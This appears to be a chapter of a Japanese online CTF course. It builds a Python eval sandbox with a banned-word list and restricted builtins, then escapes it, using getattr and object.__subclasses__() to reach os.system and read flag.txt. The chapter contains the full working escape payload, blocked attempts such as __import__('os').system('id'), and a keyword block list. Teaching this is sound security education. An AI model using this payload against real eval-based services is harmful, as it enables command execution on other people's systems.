コース目次 / 第1章
pyjailを、破る
禁止語リストと限定されたbuiltinsで守られたeval環境を作ります。素朴な脱出方法が禁止語に阻まれることを確認したうえで、getattrとサブクラス一覧をたどってos.systemに到達し、flagを読み出します。
pyjailを、作る
jail.py として保存します。入力された式をevalする、よくあるパターンです。危険な操作を防ぐため、①禁止語リストでの文字列チェック、②builtinsを丸ごと渡さずgetattrとlenだけ許可、という2重の制限をかけています。
BANNED = ['import', 'eval', 'exec', 'open', 'os', 'subprocess']
SAFE_BUILTINS = {'getattr': getattr, 'len': len}
def main():
print("式を入力してください:")
expr = input("> ")
if any(b in expr for b in BANNED):
print("禁止語が含まれています。")
return
try:
result = eval(expr, {"__builtins__": SAFE_BUILTINS})
print(repr(result))
except Exception as e:
print("エラー:", type(e).__name__, e)
if __name__ == '__main__':
main()
echo 'flag{jail_breaks_when_builtins_leak}' > flag.txt
python3 jail.py
同じディレクトリのflag.txtを読み出すのが目標です。
素朴な方法は、禁止語に阻まれる
echo "open('flag.txt').read()" | python3 jail.py
式を入力してください:
> 禁止語が含まれています。
echo "__import__('os').system('id')" | python3 jail.py
式を入力してください:
> 禁止語が含まれています。
open・import・osのどれかが式に含まれていれば、即座に弾かれます。単純な脱出方法は、この禁止語リストで防がれています。
しかし、getattrは許可されている
このjailはgetattrだけは「安全そうだから」と許可しています。しかしgetattrは、任意のオブジェクトの任意の属性を読める、強力な足がかりです。Pythonでは、あらゆるクラスがobjectを祖先に持ち、object.subclasses()で、今までにロードされたすべてのクラスの一覧にアクセスできます。その中には、osモジュールを内部で使っているクラスも含まれています。
echo "getattr(1, '__class__')" | python3 jail.py
式を入力してください:
> <class 'int'>
getattrを使えば、.属性名を書かなくても、属性名を文字列として渡すだけで属性を読めます——これが今回の足がかりです。
サブクラス一覧から、os.systemを探す
escape.py として保存します(1行で組み立てても動きますが、読みやすさのため分けます)。
payload = (
"[c for c in ().__class__.__bases__[0].__subclasses__() "
"if 'system' in getattr(c.__init__, '__globals__', {})]"
"[0].__init__.__globals__['system']('cat flag.txt')"
)
print(payload)
().class.bases[0]はobjectクラスです。.subclasses()で、そのサブクラス一覧(今ロードされている全クラス)を取得します。その中からinitのグローバル変数に‘system’というキーを持つクラス——実はos._wrap_closeという、osモジュール内部のクラスです——を1つ見つけ、そのグローバル変数からos.system関数そのものを取り出します。この式のどこにも、禁止語である“import”・“eval”・“exec”・“open”・“os”・“subprocess”という文字列は一度も出てきません。
python3 escape.py | python3 jail.py
式を入力してください:
> flag{jail_breaks_when_builtins_leak}
0
破れました。flag.txtの中身が表示され、続く0はos.systemの返り値(終了コード)です。getattrという一見無害な関数1つが、禁止語リストでは防げない脱出経路になりました。「一部だけ許可すれば安全」という発想の危うさが、ここに現れています。
こうなっていればOK
卒業まであと2章です。
この章はまだ完了していません。
保存できませんでした(プライベートブラウズ中かもしれません)。この端末に進捗は残りませんが、先へは進めます。